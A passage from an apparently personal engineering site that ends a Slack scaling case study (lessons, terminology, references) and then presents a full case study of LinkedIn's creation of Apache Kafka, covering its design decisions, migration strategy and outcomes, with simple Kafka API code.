**The insight**: Slack initially migrated Vitess tables one at a time but found that cross-table queries broke when tables lived in different systems. Shifting to whole-shard migrations was operationally simpler.

**What they'd do differently**: Start with whole-shard migration from the beginning, accepting the larger per-batch data movement in exchange for fewer edge cases.

#### 2. The Sigmoid Adoption Curve

**The insight**: Slack explicitly uses a three-phase adoption model—Exploration (low friction, most experiments fail), Expansion (persuasive demos, internal marketing), Migration (addressing holdouts). The Vitess migration followed this exactly: low-risk RSS workload → gradual table migration → final "hard tables."

**What they'd do differently**: Internal platform teams should be "client-centric," treating product teams as customers who can choose whether to adopt—with few exceptions.

### Organizational Lessons

#### 1. Keep the Monolith When It Works

**The insight**: Slack's monolith handles 30–40 deploys daily with 150–190 changes merged per day. PHP/Hack's state isolation provides organic fault tolerance. Rather than a costly decomposition, Slack extracted infrastructure concerns (sharding, caching, real-time) into specialized systems while keeping business logic centralized.

**How organization structure affected the outcome**: A monolith lets any product engineer modify any business flow without cross-team coordination. Extracting infrastructure (Vitess, Flannel, Envoy) into platform teams provided scaling benefits without fragmenting product development velocity.

## Applying This to Your System

### When This Pattern Applies

You might face similar challenges if:

- Your tenants vary dramatically in size (some 100x larger than average)
- Product requirements are pushing data across your current partition boundaries
- Your real-time requirements demand sub-second delivery to millions of concurrent connections
- You have deep expertise in your current database and can't afford a full migration

### Checklist for Evaluation

- [ ] Are single tenants exceeding shard capacity?
- [ ] Do new product features require cross-tenant or cross-partition data access?
- [ ] Is your database operationally non-standard (custom configs, no online resharding)?
- [ ] Does client startup latency grow with tenant size?
- [ ] Could a failure in one availability zone cascade to others?

### Starting Points

1. **Database middleware**: Evaluate Vitess (MySQL), Citus (PostgreSQL), or ProxySQL as a sharding layer before considering a database change
2. **Edge caching**: Prototype an application-aware edge cache for your most common client bootstrap query. Measure the payload reduction for your largest tenants.
3. **Cellular isolation**: Map your service dependencies per AZ. Identify which cross-AZ calls exist and whether they can be eliminated.
4. **Chaos testing**: Run a tabletop exercise for your stateful services: what happens when one node dies? What about 25% of nodes simultaneously?

## Conclusion

Slack's architecture evolution demonstrates that scaling doesn't require abandoning what works. The PHP monolith still serves as the central coordination point. The distributed systems around it—Vitess for flexible sharding, Flannel for edge caching, Channel/Gateway Servers for real-time delivery, and cellular infrastructure for reliability—each solve a specific scaling limit without imposing a system-wide rewrite.

The key architectural decisions were: keep MySQL but add Vitess middleware for flexibility; keep the monolith but extract infrastructure concerns; keep stateful real-time servers but validate them with chaos engineering; keep multi-AZ deployment but add cellular isolation for blast radius containment. Each decision preserved existing investments while removing the specific bottleneck that was blocking growth.

## Appendix

### Prerequisites

- Familiarity with database sharding concepts (hash-based partitioning, shard routing)
- Understanding of WebSocket protocols and persistent connections
- Basic knowledge of consistent hashing and its failure properties
- Experience with load balancer architectures (L4/L7, connection draining)

### Terminology

| Term | Definition |
|------|-----------|
| **Vitess** | Open-source database clustering system for horizontal scaling of MySQL, originally built at YouTube |
| **VTGate** | Vitess's query routing proxy that sits between applications and MySQL |
| **Keyspace** | Vitess's logical database unit; maps to one or more MySQL shards with a chosen sharding scheme |
| **Flannel** | Slack's custom application-level edge cache for reducing client boot payload |
| **Channel Server (CS)** | Stateful server managing real-time pub/sub for channels via consistent hashing |
| **Gateway Server (GS)** | Stateful server terminating WebSocket connections and delivering events to clients |
| **Mcrouter** | Facebook's memcached protocol router for horizontal scaling of memcached pools |
| **Rotor** | Slack's custom xDS control plane for Envoy configuration |
| **HHVM** | HipHop Virtual Machine—Facebook's JIT compiler for PHP and Hack |
| **Disasterpiece Theater** | Slack's chaos engineering program for testing failure resilience |

### Summary

- Slack kept its PHP/Hack monolith as the business logic layer while extracting infrastructure concerns (sharding, caching, real-time, load balancing) into specialized distributed systems
- Vitess migration (2016–2020) moved 99% of MySQL traffic to flexible keyspaces, enabling online resharding, Enterprise Grid, Slack Connect, and international data residency across 6 regions
- Flannel edge cache reduced client boot payloads by 7–44x and handles 4M concurrent connections with proactive prefetching
- Real-time messaging uses stateful Channel Servers (~16M channels/host) with consistent hashing, delivering messages globally within 500 ms
- Cellular architecture (2022–2023) isolates failures to individual AZs with 1% granularity traffic draining and 5-minute failover, supporting a 99.99% SLA
- The February 2022 incident demonstrated how coupling between infrastructure layers (Consul upgrades → cache invalidation → database overload) can cascade despite individually sound designs

### References

1. [Scaling Datastores at Slack with Vitess](https://slack.engineering/scaling-datastores-at-slack-with-vitess/) — Slack Engineering (2020). Primary source for Vitess migration details, scale numbers, and architecture evolution.
2. [Flannel: An Application-Level Edge Cache to Make Slack Scale](https://slack.engineering/flannel-an-application-level-edge-cache-to-make-slack-scale/) — Slack Engineering (2019). Flannel architecture, lazy loading, payload reduction numbers.
3. [Real-Time Messaging](https://slack.engineering/real-time-messaging/) — Slack Engineering. Channel Server, Gateway Server, Admin Server, and Presence Server architecture.
4. [Migrating Millions of Concurrent WebSockets to Envoy](https://slack.engineering/migrating-millions-of-concurrent-websockets-to-envoy/) — Slack Engineering. HAProxy-to-Envoy migration strategy and challenges.
5. [Slack's Migration to a Cellular Architecture](https://slack.engineering/slacks-migration-to-a-cellular-architecture/) — Slack Engineering (2023). AZ isolation, Rotor control plane, traffic draining.
6. [Slack's Incident on 2-22-22](https://slack.engineering/slacks-incident-on-2-22-22/) — Slack Engineering (2022). Consul upgrade cascade, scatter query amplification, resolution.
7. [Disasterpiece Theater: Slack's Process for Approachable Chaos Engineering](https://slack.engineering/disasterpiece-theater-slacks-process-for-approachable-chaos-engineering/) — Slack Engineering (2019). Chaos testing methodology, Channel Server partition testing.
8. [Taking PHP Seriously](https://slack.engineering/taking-php-seriously/) — Slack Engineering (2016). PHP/Hack design rationale, HHVM performance.
9. [The Scary Thing About Automating Deploys](https://slack.engineering/the-scary-thing-about-automating-deploys/) — Slack Engineering (2020). ReleaseBot, anomaly detection, deploy frequency.
10. [How Big Technical Changes Happen at Slack](https://slack.engineering/how-big-technical-changes-happen-at-slack/) — Slack Engineering. Sigmoid adoption model, React/Vitess/Hack migration strategies.
11. [Getting to Slack Faster with Incremental Boot](https://slack.engineering/getting-to-slack-faster-with-incremental-boot/) — Slack Engineering. Two-phase boot, rtm.start optimization.
12. [Search at Slack](https://slack.engineering/search-at-slack/) — Slack Engineering (2016). Solr architecture, ML re-ranking, ranking signals.
13. [Reducing Slack's Memory Footprint](https://slack.engineering/reducing-slacks-memory-footprint/) — Slack Engineering. Dual-client architecture, tiny client design.
14. [Infrastructure Observability for Changing the Spend Curve](https://slack.engineering/infrastructure-observability-for-changing-the-spend-curve/) — Slack Engineering. CI infrastructure, cost optimization.
15. [How We Design Our APIs at Slack](https://slack.engineering/how-we-design-our-apis-at-slack/) — Slack Engineering. API design principles, rtm.start deprecation.
16. [Vitess](https://vitess.io/) — Official Vitess documentation. Architecture, VTGate, keyspaces, resharding workflows.

---

## LinkedIn and the Birth of Apache Kafka: Solving the O(N²) Data Integration Problem

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/linkedin-kafka-origin
**Category:** System Design / Real-World Case Studies
**Description:** In 2010, LinkedIn faced a data infrastructure crisis: connecting 10 specialized data systems required 90 custom pipelines, each prone to failure. Oracle SQL*Loader jobs took 2-3 days with manual babysitting. Despite significant engineering effort, only 14% of their data reached Hadoop. Traditional messaging systems like ActiveMQ required a full TCP/IP roundtrip per message—unacceptable for billions of daily events. Jay Kreps, Neha Narkhede, and Jun Rao built Kafka to solve this: a distributed commit log that decoupled data producers from consumers, enabling any-to-any data flow through a single, scalable pipeline. This case study examines the architectural decisions that made Kafka the backbone of modern data infrastructure.

# LinkedIn and the Birth of Apache Kafka: Solving the O(N²) Data Integration Problem

In 2010, LinkedIn faced a data infrastructure crisis: connecting 10 specialized data systems required 90 custom pipelines, each prone to failure. Oracle SQL\*Loader jobs took 2-3 days with manual babysitting. Despite significant engineering effort, only 14% of their data reached Hadoop. Traditional messaging systems like ActiveMQ required a full TCP/IP roundtrip per message—unacceptable for billions of daily events. Jay Kreps, Neha Narkhede, and Jun Rao built Kafka to solve this: a distributed commit log that decoupled data producers from consumers, enabling any-to-any data flow through a single, scalable pipeline. This case study examines the architectural decisions that made Kafka the backbone of modern data infrastructure.

<figure>

![LinkedIn's data integration complexity before and after Kafka. The O(N²) point-to-point connections collapsed into O(N) connections through a unified log.](./linkedin-s-data-integration-complexity-before-and-after-kafka-the-o-n-point-to-p.svg)

<figcaption>LinkedIn's data integration complexity before and after Kafka. The O(N²) point-to-point connections collapsed into O(N) connections through a unified log.</figcaption>
</figure>

## Abstract

**The core insight**: Data integration is fundamentally a problem of decoupling producers from consumers. Every data source (databases, applications, logs) and every data sink (Hadoop, search, real-time processing) creates a potential integration point. With N sources and M sinks, point-to-point integration requires O(N×M) custom pipelines—each with its own failure modes, data formats, and operational burden.

**Kafka's solution**: A distributed commit log as a universal data bus. Producers append to the log without knowing who consumes. Consumers read from the log at their own pace without affecting producers. The log provides:

- **Ordering guarantees** within partitions (critical for event processing)
- **Durability** via disk persistence and replication
- **Scalability** via horizontal partitioning
- **Decoupling** via pull-based consumption

**Key design decisions and their rationale**:

| Decision                        | Why                                                         | Trade-off                                     |
| ------------------------------- | ----------------------------------------------------------- | --------------------------------------------- |
| **Log-based storage**           | Sequential I/O saturates disk bandwidth; random I/O doesn't | Requires compaction for key-based workloads   |
| **Pull-based consumers**        | Consumer controls pace; avoids overwhelming slow consumers  | Adds latency vs. push (median 2ms acceptable) |
| **Partitioned topics**          | Parallelism bounded by partition count, not broker count    | Consumer groups limited to partition count    |
| **Stateless brokers**           | Simplifies failover; consumer tracks own offset             | Consumer must manage offset commits           |
| **Leader-follower replication** | f+1 replicas tolerate f failures (vs. 2f+1 for quorum)      | Assumes datacenter reliability                |

**Scale progression at LinkedIn**:

| Year | Messages/Day | Growth   |
| ---- | ------------ | -------- |
| 2011 | 1 billion    | Baseline |
| 2012 | 20 billion   | 20×      |
| 2013 | 200 billion  | 200×     |
| 2015 | 1+ trillion  | 1,000×   |
| 2024 | 7+ trillion  | 7,000×   |

## Context

### The System

In 2010, LinkedIn's data infrastructure consisted of multiple specialized systems:

| Component          | Purpose                                                 | Scale               |
| ------------------ | ------------------------------------------------------- | ------------------- |
| **Oracle**         | Transactional data (profiles, connections)              | Primary OLTP        |
| **Hadoop**         | Batch analytics (82 daily jobs, 16TB intermediate data) | 14% of data covered |
| **Voldemort**      | Key-value store (also built at LinkedIn)                | Serving tier        |
| **Azkaban**        | Workflow orchestration                                  | ETL scheduling      |
| **Data Warehouse** | Business analytics                                      | Offline queries     |

The team needed to track activity events: page views, search queries, ad impressions, profile views, connection requests, and content interactions. These events fed both offline analytics (Hadoop, data warehouse) and emerging real-time use cases (monitoring, personalization, fraud detection).

### The Trigger

**2008-2010**: LinkedIn's data pipelines were failing under scale:

**The SQL\*Loader bottleneck**: Loading data from Oracle to the data warehouse used Oracle SQL\*Loader. This process took 2-3 days with 20-24 hours of actual data transfer, requiring manual intervention when it failed.

**The integration complexity explosion**: With N data sources and M data consumers, the team faced O(N×M) integration points. Each new data source meant building custom connectors to every consumer. Each new consumer meant integrating with every source.

> "We put lots of effort into pushing activity data through custom pipelines into Hadoop, and even more into getting our reporting data there too, but were only successful in getting a subset of around 14 percent of our data."
> — Jay Kreps, "The Log" (2013)

**The real-time gap**: Business teams wanted sub-second latency for data visibility. The batch-oriented infrastructure delivered data hours or days after generation.

### Constraints

| Constraint               | Impact                                                        |
| ------------------------ | ------------------------------------------------------------- |
| **Throughput**           | Billions of events/day; ~172,000 msg/sec sustained peak       |
| **Latency**              | Batch was hours; needed seconds                               |
| **Consumer variety**     | Hadoop (batch), real-time search, monitoring—different speeds |
| **Operational overhead** | No budget for per-consumer custom infrastructure              |
| **Fault tolerance**      | Multi-datacenter replication required                         |

## The Problem

### Symptoms

**Data staleness**: Activity data took hours or days to reach analytics systems. Product teams couldn't measure feature impact in real-time.

**Pipeline fragility**: Custom pipelines between systems failed frequently. Each failure required debugging specific to that pipeline's implementation.

**Coverage gap**: Despite significant investment, most data never reached the analytical systems that needed it. The team estimated only 14% of relevant data was accessible in Hadoop.

**Operational burden**: Each data flow required dedicated engineering attention. Adding a new data source meant weeks of integration work with every downstream consumer.

### Root Cause Analysis

**Investigation process**:

1. **Initial hypothesis**: The problem was specific pipelines—fix each one individually.
2. **Pattern recognition**: Every pipeline had the same fundamental issues: serialization mismatches, flow control problems, failure handling complexity.
3. **The insight**: The problem was architectural—point-to-point integration doesn't scale with system count.

**The actual root cause**: No unified abstraction for data in motion. Each data flow was a one-off implementation with custom:

- Serialization format
- Transport mechanism
- Error handling
- Backpressure strategy
- Monitoring approach

**Why existing solutions failed**:

**Traditional messaging systems (ActiveMQ, RabbitMQ)**:

| Issue                          | Impact                                                    |
| ------------------------------ | --------------------------------------------------------- |
| Full TCP roundtrip per message | ~10ms latency per message; 100 msg/sec max per connection |
| Weak distributed support       | No native partitioning across machines                    |
| Memory-buffered                | Performance cliff when consumers fall behind              |
| ACK-per-message overhead       | CPU and I/O costs at high throughput                      |

**Log aggregation systems (Facebook Scribe)**:

| Issue                   | Impact                                |
| ----------------------- | ------------------------------------- |
| Push-based model        | Overwhelmed slow consumers            |
| Batch-oriented          | Not suitable for real-time consumers  |
| Implementation-specific | Exposed internals to downstream users |

## Options Considered

### Option 1: Improve Existing Pipelines

**Approach**: Fix each point-to-point pipeline individually. Standardize serialization, add monitoring, improve error handling.

**Pros**:

- No new infrastructure to build
- Incremental improvement

**Cons**:

- O(N×M) effort scales with data systems
- Doesn't address fundamental complexity
- Each new system still requires O(N) integrations

**Why not chosen**: The team had already tried this. Despite significant effort, they couldn't keep up with the integration demands of new data sources and consumers.

### Option 2: Centralized Database

**Approach**: Route all data through a single database (Oracle or Hadoop).

**Pros**:

- Single integration point
- Familiar operational model

**Cons**:

- No single database handles both OLTP and analytics workloads efficiently
- Databases optimized for querying, not for high-throughput data transport
- Oracle already the bottleneck (2-3 day SQL\*Loader jobs)

**Why not chosen**: Databases are optimized for state management, not data movement. Using a database as a message bus conflates two different concerns.

### Option 3: Adopt Open Source Messaging

**Approach**: Deploy ActiveMQ or RabbitMQ as a message bus.

**Pros**:

- Mature software
- JMS ecosystem compatibility

**Cons**:

- Throughput limitations (TCP roundtrip per message)
- No native horizontal partitioning
- Memory pressure under consumer lag

**Why not chosen**: The team tested these systems. Throughput was orders of magnitude below requirements. At billions of events per day, the per-message overhead was prohibitive.

### Option 4: Build a Distributed Commit Log (Chosen)

**Approach**: Build a new system from first principles, optimized for:

1. High-throughput ingestion (millions of events/second)
2. Durable storage with configurable retention
3. Multiple independent consumers at different speeds
4. Horizontal scalability via partitioning

**Pros**:

- Designed for LinkedIn's specific scale requirements
- Log abstraction provides ordering and durability
- Decoupled producers and consumers

**Cons**:

- Significant upfront engineering investment
- Operational learning curve for new system
- Risk of building something nobody uses

**Why chosen**: No existing system met the throughput, scalability, and multi-consumer requirements simultaneously.

### Decision Factors

| Factor           | ActiveMQ               | Scribe       | New System (Kafka)  |
| ---------------- | ---------------------- | ------------ | ------------------- |
| Throughput       | Low (per-msg overhead) | High (batch) | High (batched I/O)  |
| Real-time        | Yes                    | No           | Yes                 |
| Multi-consumer   | Limited                | Limited      | Native              |
| Horizontal scale | Manual                 | Yes          | Native partitioning |
| Durability       | Optional               | Yes          | Yes                 |
| Team expertise   | Partial                | None         | Full control        |

## Implementation

### Architecture Overview

**Before: Point-to-Point**

```
App → Oracle → SQL*Loader → Data Warehouse
App → Custom ETL → Hadoop
App → Direct → Monitoring
Database → CDC → Search Index
```

Each arrow represents a custom integration.

**After: Kafka as Central Hub**

<figure>

![Kafka architecture: producers publish to topics, consumers subscribe independently. Each consumer maintains its own offset.](./kafka-architecture-producers-publish-to-topics-consumers-subscribe-independently.svg)

<figcaption>Kafka architecture: producers publish to topics, consumers subscribe independently. Each consumer maintains its own offset.</figcaption>
</figure>

### Core Design Decisions

#### Decision 1: Log-Based Storage

**The insight**: Sequential disk I/O is fast—comparable to network I/O. Random disk I/O is 10,000× slower. A commit log (append-only writes, sequential reads) exploits this asymmetry.

**Implementation**:

- Messages appended to segment files in offset order
- Segment files immutable after closing (simplifies replication, caching)
- OS page cache handles read caching (no application-level cache needed)
- Linear reads can prefetch efficiently

**Benchmark result (2014)**: 821,557 records/second write throughput from a single producer thread on commodity hardware.

**Trade-off**: Log-based storage requires periodic compaction for key-based workloads. Kafka added log compaction in 0.8 to retain only the latest value per key.

#### Decision 2: Pull-Based Consumers

**The insight**: Push-based systems must choose between overwhelming slow consumers or implementing complex per-consumer flow control. Pull lets consumers control their own pace.

**Implementation**:

- Consumers issue fetch requests specifying topic, partition, and offset
- Broker returns available messages up to configured batch size
- Consumer commits offsets after processing (at-least-once) or before (at-most-once)

**Advantages**:

| Benefit                      | Explanation                                        |
| ---------------------------- | -------------------------------------------------- |
| **Batching efficiency**      | Consumer fetches many messages per request         |
| **Consumer-controlled pace** | Slow consumers don't affect producers              |
| **Catch-up capability**      | Lagging consumer can catch up without backpressure |
| **Replay**                   | Consumer can re-read from any offset               |

**Trade-off**: Pull adds latency (consumer must poll). Kafka mitigates with long-polling: consumer request blocks until data is available or timeout expires. Measured end-to-end latency: median 2ms, 99th percentile 3ms.

#### Decision 3: Partitioned Topics

**The insight**: A single log can't scale beyond one broker's capacity. Partitioning distributes data across brokers while maintaining order within each partition.

**Implementation**:

- Topic divided into N partitions
- Producer chooses partition (hash of key, round-robin, or custom)
- Each partition is an independent, ordered log
- Consumer group assigns partitions to consumers

<figure>

![Partitioning enables parallelism. Consumer group distributes partitions across members. Messages with the same key always go to the same partition, preserving per-key ordering.](./partitioning-enables-parallelism-consumer-group-distributes-partitions-across-me.svg)

<figcaption>Partitioning enables parallelism. Consumer group distributes partitions across members. Messages with the same key always go to the same partition, preserving per-key ordering.</figcaption>
</figure>

**Trade-off**: Consumer parallelism is bounded by partition count. A topic with 10 partitions can have at most 10 consumers in a group processing in parallel. Choose partition count based on expected peak parallelism.

#### Decision 4: Stateless Brokers

**The insight**: Tracking consumer offsets in brokers adds complexity and coupling. If brokers are stateless (from a consumer perspective), failover is simpler.

**Implementation**:

- Brokers store messages but not consumer state
- Consumers track their own offsets (originally in ZooKeeper, later in Kafka itself)
- Broker failure doesn't lose consumer progress

**Trade-off**: Consumers must commit offsets explicitly. Failure between processing and commit can cause reprocessing (at-least-once semantics). Exactly-once requires additional coordination (added in Kafka 0.11 with idempotent producers and transactions).

#### Decision 5: Leader-Follower Replication

**The insight**: Quorum-based replication (like Paxos/Raft) requires 2f+1 replicas to tolerate f failures. Leader-follower only requires f+1 replicas—half the hardware cost.

**Implementation** (added in Kafka 0.8):

- Each partition has one leader and N-1 followers
- Producers write only to the leader
- Followers replicate from the leader
- In-Sync Replica (ISR) set tracks followers within acceptable lag
- Leader failure triggers leader election from ISR

**Trade-off**: Leader-follower assumes single datacenter deployment where network partitions are rare. For multi-datacenter, Kafka uses asynchronous mirroring (MirrorMaker) rather than synchronous replication.

### API Design

**Three core design principles** (from Jun Rao's announcement):

1. **Simple API**: Producers send messages to topics. Consumers read messages from topics. No complex transaction semantics.
2. **Low overhead**: Batch messages in network transfers. Use efficient binary protocol. Zero-copy transfer from disk to network.
3. **Scale-out architecture**: Horizontal scaling via partition count. No single-node bottlenecks.

**Producer API (simplified)**:

```java
// Send message to topic, let Kafka choose partition
producer.send(new ProducerRecord<>("user-events", userId, eventJson));

// Send to specific partition
producer.send(new ProducerRecord<>("user-events", partition, userId, eventJson));
```

**Consumer API (simplified)**:

```java
consumer.subscribe(Arrays.asList("user-events"));
while (true) {
    ConsumerRecords<String, String> records = consumer.poll(Duration.ofMillis(100));
    for (ConsumerRecord<String, String> record : records) {
        process(record.key(), record.value(), record.offset());
    }
    consumer.commitSync();
}
```

### Migration Strategy

**Phase 1: Shadow Mode (Early 2011)**

- Deployed Kafka alongside existing pipelines
- Dual-wrote events to both old pipelines and Kafka
- Validated data completeness and ordering

**Phase 2: Consumer Migration (Mid 2011)**

- Migrated consumers one at a time to read from Kafka
- Kept old pipelines running as fallback
- Compared results between old and new paths

**Phase 3: Producer Cutover (Late 2011)**

- Once consumers validated, switched producers to Kafka-only
- Decommissioned old pipelines incrementally

**Risk mitigation**:

- Kafka's consumer offset tracking allowed replaying data if issues discovered
- Retention configured for 7+ days, enabling rollback within that window

## Outcome

### Metrics Comparison

| Metric                            | Before Kafka | After Kafka         | Improvement        |
| --------------------------------- | ------------ | ------------------- | ------------------ |
| Data latency to analytics         | 2-3 days     | Seconds             | ~100,000×          |
| Data coverage in Hadoop           | 14%          | 100%                | 7×                 |
| Integration effort per new system | O(N)         | O(1)                | Linear to constant |
| Sustained throughput              | ~10K msg/sec | 172K msg/sec (2012) | 17×                |
| Peak throughput                   | Limited      | 4.5M msg/sec (2015) | —                  |

### Timeline

| Date                    | Milestone                                                |
| ----------------------- | -------------------------------------------------------- |
| **Christmas 2009/2010** | Jay Kreps writes first Kafka code                        |
| **2010**                | Jun Rao and Neha Narkhede join; first production version |
| **January 11, 2011**    | Kafka open-sourced                                       |
| **July 4, 2011**        | Kafka enters Apache Incubator                            |
| **July 2011**           | 1 billion messages/day in LinkedIn production            |
| **October 23, 2012**    | Kafka graduates to Apache Top-Level Project              |
| **February 2013**       | Kafka 0.8 with intra-cluster replication                 |
| **September 2014**      | Confluent founded by Kafka creators                      |

### Scale Progression

<figure>

![LinkedIn's Kafka throughput grew 7,000× in 13 years, demonstrating the scalability of the log-based architecture.](./linkedin-s-kafka-throughput-grew-7-000-in-13-years-demonstrating-the-scalability.svg)

<figcaption>LinkedIn's Kafka throughput grew 7,000× in 13 years, demonstrating the scalability of the log-based architecture.</figcaption>
</figure>

### Unexpected Benefits

**Stream processing foundation**: Kafka's ordered, durable log became the foundation for Apache Samza (2013), enabling stream processing that treats the log as a database changelog.

**Change Data Capture (CDC)**: The same architecture that handled activity events could capture database changes, unifying application events and database mutations in a single infrastructure.

**Multi-datacenter replication**: Kafka's MirrorMaker enabled cross-datacenter data replication, supporting LinkedIn's global deployment without fundamental architecture changes.

### Remaining Limitations (as of initial release)

| Limitation              | Resolution                          |
| ----------------------- | ----------------------------------- |
| No replication          | Added in 0.8 (2013)                 |
| ZooKeeper dependency    | KRaft mode removed ZooKeeper (2022) |
| At-least-once only      | Exactly-once added in 0.11 (2017)   |
| No transactional writes | Transactions added in 0.11 (2017)   |

## Lessons Learned

### Technical Lessons

#### 1. Sequential I/O Changes Everything

**The insight**: Modern storage (spinning disk and SSD) has vastly different performance for sequential vs. random access. Sequential writes to disk can exceed 600 MB/s; random writes might be 100 KB/s. A commit log exploits this 6,000× difference.

**How it applies elsewhere**:

- Write-ahead logs in databases (PostgreSQL WAL, MySQL binlog)
- Log-structured merge trees (LSM-trees) in Cassandra, RocksDB
- Event sourcing architectures

**Warning signs you might benefit from this**:

- Random I/O bottlenecks on database writes
- High write amplification in storage layer
- Inefficient disk utilization

#### 2. Decouple Producers from Consumers

**The insight**: Point-to-point integration creates O(N×M) complexity. A central bus reduces it to O(N+M). More importantly, it allows producers and consumers to evolve independently.

**How it applies elsewhere**:

- API gateways decoupling frontend from backend services
- Schema registries decoupling data format from transport
- Feature stores decoupling ML training from feature computation

**Warning signs**:

- Every new data source requires integration with every consumer
- Producer changes break consumers
- No way to add new consumers without producer changes

#### 3. Pull Beats Push for Heterogeneous Consumers

**The insight**: When consumers have different speeds (batch vs. real-time), push-based systems must either throttle to the slowest consumer or implement complex per-consumer buffering. Pull delegates this complexity to the consumer.

**How it applies elsewhere**:

- Git (pull-based) vs. centralized VCS (push-based)
- RSS/Atom feeds (pull-based) vs. email notifications (push-based)
- Polling-based monitoring vs. push-based metrics

**When pull doesn't work**:

- Ultra-low-latency requirements (sub-millisecond)
- Consumers can't implement polling logic
- Network constraints prevent consumer-initiated connections

#### 4. The Log is a Fundamental Abstraction

**The insight**: A totally ordered, append-only sequence of records is the simplest possible storage abstraction. It can represent database state (via changelog), message passing (via topics), and replicated state machines (via consensus logs).

**How it applies elsewhere**:

- Database replication (replicate the WAL, derive state)
- Event sourcing (log is the source of truth, state is derived)
- Distributed consensus (Raft log, Paxos log)

**Further reading**: Jay Kreps' "The Log" blog post (2013) explores this abstraction in depth.

### Process Lessons

#### 1. Build for Your Actual Scale

**The insight**: LinkedIn built Kafka for billions of messages/day because that was their actual requirement. Existing systems were designed for different scale points.

**What they'd do differently**: Earlier investment in understanding true throughput requirements. The team spent time trying to adapt existing systems before accepting they needed something new.

#### 2. Open Source Accelerates Adoption

**The insight**: Open-sourcing Kafka in January 2011—before it was fully production-ready—created a community that accelerated development far beyond what LinkedIn could achieve alone.

**The trade-off**: Open source created external pressure to stabilize APIs and maintain backward compatibility, which sometimes conflicted with internal refactoring needs.

### Organizational Lessons

#### 1. Infrastructure as a Product

**The insight**: Treating Kafka as an internal product with clear APIs, documentation, and support enabled broad adoption within LinkedIn. Teams could self-serve rather than requiring infrastructure team involvement for each integration.

**How this applies**: Internal platforms should have the same product discipline as external products: clear value proposition, documentation, migration guides, and deprecation policies.

## Applying This to Your System

### When This Pattern Applies

You might face similar challenges if:

- You have multiple data sources (databases, applications, logs) and multiple data consumers (analytics, search, real-time)
- Adding a new data source requires integrating with multiple downstream systems
- Adding a new consumer requires integrating with multiple upstream systems
- Batch data loading is measured in hours or days
- Different consumers need the same data at different speeds

### Checklist for Evaluation

- [ ] How many point-to-point data integrations do you maintain?
- [ ] What's the latency from data generation to availability in analytics?
- [ ] Can you replay historical data to a new consumer?
- [ ] Can consumers fall behind without affecting producers?
- [ ] What's your integration effort for adding a new data source?

### Starting Points

If you want to explore this approach:

1. **Identify your highest-volume data flows**: What data moves between systems most frequently?
2. **Measure your current latency**: From data generation to availability in each consumer
3. **List your integration points**: Draw the graph of data sources and consumers
4. **Evaluate managed options**: Amazon MSK, Confluent Cloud, Azure Event Hubs, Google Pub/Sub
5. **Start with one use case**: Pick a high-value, low-risk data flow to migrate first

## Conclusion

LinkedIn's creation of Kafka solved a fundamental problem in data-intensive systems: the O(N²) integration complexity that emerges when multiple data sources must feed multiple data consumers. The key insight wasn't technical—it was architectural. By introducing a durable, ordered log as an intermediary, Kafka decoupled producers from consumers, transforming N×M point-to-point connections into N+M connections through a central hub.

The specific technical decisions—log-based storage, pull-based consumers, partitioned topics, stateless brokers, leader-follower replication—follow logically from the requirements: high throughput, multiple consumer speeds, horizontal scalability, and fault tolerance. Each decision involved trade-offs that were acceptable for LinkedIn's use case but might not be for others.

Kafka's impact extends beyond LinkedIn. The log abstraction became foundational for stream processing (Samza, Flink, Spark Streaming), change data capture (Debezium), and event-driven architectures broadly. The insight that a simple append-only log can unify messaging, storage, and stream processing has influenced systems design for a decade.

The lesson for system designers: before building complex point-to-point integrations, consider whether a shared log could simplify the architecture. The upfront investment in a unified data infrastructure often pays dividends as system count grows.

## Appendix

### Prerequisites

- Understanding of messaging systems (queues, pub/sub)
- Basic knowledge of distributed systems concepts (partitioning, replication)
- Familiarity with data pipeline architectures (ETL, CDC)

### Terminology

- **Commit log**: An append-only, ordered sequence of records; the fundamental storage abstraction in Kafka
- **Topic**: A named log that producers write to and consumers read from
- **Partition**: A subdivision of a topic; each partition is an independent log on a single broker
- **Offset**: A message's position within a partition; monotonically increasing integer
- **Consumer group**: A set of consumers that collectively read a topic; each partition is assigned to exactly one consumer in the group
- **ISR (In-Sync Replica)**: The set of replicas that are fully caught up with the leader
- **CDC (Change Data Capture)**: Capturing row-level changes from a database as a stream of events
- **At-least-once delivery**: Messages may be delivered more than once; consumer must be idempotent
- **Exactly-once delivery**: Messages delivered exactly once; requires coordination between producer, broker, and consumer

### Summary

- **The problem**: LinkedIn's point-to-point data integration created O(N²) complexity; only 14% of data reached analytics systems
- **Why existing solutions failed**: Traditional messaging couldn't handle throughput; log aggregation couldn't support real-time consumers
- **The solution**: A distributed commit log (Kafka) as a universal data bus
- **Key design decisions**: Log-based storage (sequential I/O), pull-based consumers (heterogeneous speeds), partitioned topics (horizontal scaling), stateless brokers (simple failover), leader-follower replication (datacenter reliability)
- **Outcome**: 7,000× scale growth (1B to 7T messages/day); foundation for modern stream processing
- **Core insight**: The log is a unifying abstraction for messaging, storage, and stream processing

### References

**Primary Sources (LinkedIn Engineering)**

- [Open-sourcing Kafka, LinkedIn's distributed message queue](https://www.linkedin.com/blog/member/archive/open-source-linkedin-kafka) - Jun Rao, January 2011. Original announcement
- [The Log: What every software engineer should know about real-time data's unifying abstraction](https://engineering.linkedin.com/distributed-systems/log-what-every-software-engineer-should-know-about-real-time-datas-unifying) - Jay Kreps, December 2013. Foundational post on log abstraction
- [Benchmarking Apache Kafka: 2 Million Writes Per Second](https://engineering.linkedin.com/kafka/benchmarking-apache-kafka-2-million-writes-second-three-cheap-machines) - Jay Kreps, April 2014. Performance characteristics
- [Intra-cluster Replication in Apache Kafka](https://engineering.linkedin.com/kafka/intra-cluster-replication-apache-kafka) - LinkedIn Engineering, February 2013. Replication design rationale
- [How We're Improving and Advancing Kafka at LinkedIn](https://engineering.linkedin.com/apache-kafka/how-we_re-improving-and-advancing-kafka-linkedin) - LinkedIn Engineering, 2015. Scale numbers

**Academic Papers**

- [Kafka: a Distributed Messaging System for Log Processing](https://cwiki.apache.org/confluence/download/attachments/27822226/Kafka-netdb-06-2011.pdf) - Kreps, Narkhede, Rao. NetDB Workshop 2011. Original paper
- [Building LinkedIn's Real-time Activity Data Pipeline](http://sites.computer.org/debull/a12june/pipeline.pdf) - Goodhope et al. IEEE Data Engineering Bulletin, June 2012. Production deployment details

**Books**

- [I Heart Logs: Event Data, Stream Processing, and Data Integration](https://www.oreilly.com/library/view/i-heart-logs/9781491909379/) - Jay Kreps. O'Reilly, 2014. Extended treatment of log abstraction

